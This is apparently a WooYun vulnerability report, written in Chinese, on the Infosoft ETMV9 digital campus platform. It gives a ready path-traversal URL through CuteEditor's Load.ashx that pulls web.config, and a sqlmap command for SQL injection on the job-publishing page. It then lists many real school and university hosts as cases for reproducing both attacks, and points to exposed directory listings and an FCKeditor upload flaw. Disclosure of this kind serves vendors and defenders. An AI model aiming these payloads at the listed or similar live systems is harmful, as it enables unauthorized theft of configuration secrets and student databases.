WooYun.org

目标系统：英福金银花ETMV9数字化校园平台
武汉英福软件有限公司——业内知名的高技术研究与经营企业，致力于大型专业管理软件、教务行业解决方案、数字化校园平台、仿真软件、机电技术等高科技产品的研究开发、集成于应用。
百度关键字：

技术支持:武汉英福软件有限公司 Tel:027-87808981、87211102

1#任意文件下载
该校园平台使用了第三方编辑器CuteEditor，虽然删除了存在任意文件上传的漏洞文件uploader.ashx（具体利用可参考白帽子zcgonvh的 WooYun: CuteEditor脚本文件上传漏洞 ），与目录遍历漏洞文件browse_Img.asp，但是却忽略了任意文件包含漏洞文件Load.ashx

CuteSoft_Client/CuteEditor/Load.ashx?type=image&file=../../../web.config

以郑州卫校数字化校园平台http://218.29.94.8/etmdcp/为例
http://218.29.94.8/etmdcp/
目录浏览让问题更直观（源码包、数据库泄漏）

该平台下有多个子系统，不一定所有的子系统都会被使用，没有使用的系统因为配置关系访问漏洞页面会报错

简单来说，平台各子系统就是把一套系统基础架构不动，增删一些其它文件成为另一套系统

2#SQL注入(子系统：就业服务管理系统通杀)
参数：postkey、post、place；
只要漏洞页面VJ/Website/PublishJobinfor.aspx能够打开，不报运行时错误，不管有无数据均能注入
python SQLMap/SQLMap.py -u "http://218.29.94.8/etmdcp/VJ/Website/PublishJobinfor.aspx?postkey=1&post=&place=&guid=" --dbs

以下案例可供复现注入
http://www.tlsz.com.cn:8090/vj//Website/PublishJobinfor.aspx
http://zsjy.ayit.edu.cn/vj/Website/PublishJobinfor.aspx
http://job.zzptc.com/Website/PublishJobinfor.aspx
http://emp.bcu.edu.cn/Website/PublishJobinfor.aspx
以下案例供复现任意文件下载：
http://www.gzgyjx.com/ETMDCP//CuteSoft_Client/CuteEditor/Load.ashx?type=image&file=../../../web.config
http://gd.whut.edu.cn/etm/etmdcp//CuteSoft_Client/CuteEditor/Load.ashx?type=image&file=../../../web.config
http://gemis.syphu.edu.cn/ETMDCP//CuteSoft_Client/CuteEditor/Load.ashx?type=image&file=../../../web.config
http://60.160.77.30/jiaowu//CuteSoft_Client/CuteEditor/Load.ashx?type=image&file=../../../web.config
http://mail.wx-wx.com.cn//CuteSoft_Client/CuteEditor/Load.ashx?type=image&file=../../../web.config
目录浏览：（部分站点），通过目录浏览，可得到webservice地址
http://1.28.76.37:6664/etm/
http://www.tlsz.com.cn:8090/vj/CuteSoft_Client/
http://218.29.94.8/etmdcp
严格来说，还有一个子系统OA，存在fck编辑器上传漏洞（结合iis6解析）
http://218.29.94.8/etmdcp/OA/fckeditor/_samples/default.html